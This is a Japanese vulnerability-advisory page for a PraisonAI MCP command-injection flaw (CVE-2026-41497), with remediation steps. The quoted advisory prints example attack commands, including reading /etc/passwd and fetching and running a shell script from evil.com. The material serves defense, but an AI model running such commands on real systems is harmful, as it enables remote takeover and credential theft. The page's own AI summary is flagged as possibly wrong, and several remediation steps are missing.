概要
praison に コマンドインジェクション (CVE-2026-41497) が存在。悪用されるとシステム全体を乗っ取られる可能性があります。bash 経由で攻撃可能。対策: >= 4.6.9 以上に更新。
原文の説明
取得元が公開している説明をそのまま載せています (多くは英語)。
Summary
The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.
Affected Package
- Ecosystem: PyPI
- Package: MervinPraison/PraisonAI
- Affected versions: < 47bff65413be
- Patched versions: >= 47bff65413be
Details
The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.
The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.
Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.
PoC
#!/usr/bin…
出典: NIST National Vulnerability Database NVD GitHub Advisory
AI要約
外部の AI が作成した要約です。誤りを含むことがあります。重要な判断の前に、下の原文と参照URLを確認してください。
PraisonAIの古いバージョン(4.6.9未満)には、コマンドを実行する際の安全対策が不十分なため、攻撃者が不正にコマンドを実行できる欠陥があります。この問題は、プログラムがユーザーからの入力を十分にチェックしないことに起因しており、結果としてシステムが制御不能になる恐れがあります。過去にもこのような脆弱性により大きな被害が出た例があるため、直ちに最新の4.6.9にアップデートすることが推奨されます。
PraisonAIの'MCPHandler.parse_mcp_command()'関数において、入力されたコマンドや引数に対するバリデーションが行われておらず、攻撃者が任意のコマンドを実行できる状態です。影響バージョンは4.6.9未満で、4.6.9で修正されました。例えば、インラインでPythonやBashスクリプトを実行できるコマンドが許可され、システムが危険に晒される可能性があります。修正は、新たに許可リストやコマンド、引数の検証を導入することです。攻撃を防ぐため、ログファイルを監視し異常なコマンド実行を検知することが推奨されます。
praison に 脆弱性 (CWE-77) があります。攻撃者は bash を経由して脆弱な処理に到達し、認証なしで悪用できます。
praison のうち 影響範囲: <= 4.6.8。攻撃箇所: bash / python / ALLOWED_COMMANDS / npx。
重要度: 最重要 (CVSS 9.8/10)。悪用されるとシステム全体を乗っ取られる可能性があります
>= 4.6.9 に更新してください。(修正前: <= 4.6.8 該当バージョンが本番稼働中なら直ちに更新計画を立案)
修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。
Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。
類似する過去の事例 過去のCVE/インシデントから類似事例を抽出
Similar command injection vulnerability due to insufficient validation in PraisonAI.
Spring Cloud Function vulnerability allowing RCE via improper command handling.
Apache Struts improper input handling leading to RCE.
もし自社で起きたら 業務シナリオごとの想定影響
Unauthorized command execution could result in data breaches and system compromise.
Compromised systems may lead to unauthorized access and persistent threats.
Service disruptions and data integrity issues due to unauthorized system commands.
Companies should immediately upgrade PraisonAI to version 4.6.9, ensure command parsing is secure, and monitor system logs for signs of exploitation.
対応アクション
SOC/SREチームが順番に実行すべき具体的なステップとコマンド例
-
1影響範囲の特定 identify
grep -r 'praison' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
praisonを grep し、稼働しているサービス・バージョンを把握する。 -
2バージョン照合 verify
Confirm if version satisfies `<= 4.6.8`Step 1 で見つかったバージョンが影響範囲
<= 4.6.8に該当するか照合。本番で稼働中ならインシデント扱い。 -
6パッチ適用 patch
Upgrade praison to >= 4.6.9ステージング環境で >= 4.6.9 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスと、Step 3 で見つけた異常検知の続報チェックを含めること。
-
7事後検証 verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番では Step 3 と同じログクエリでアラート再発が無いか継続監視。
影響パッケージ
参照URL
- advisory nvd.nist.gov
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com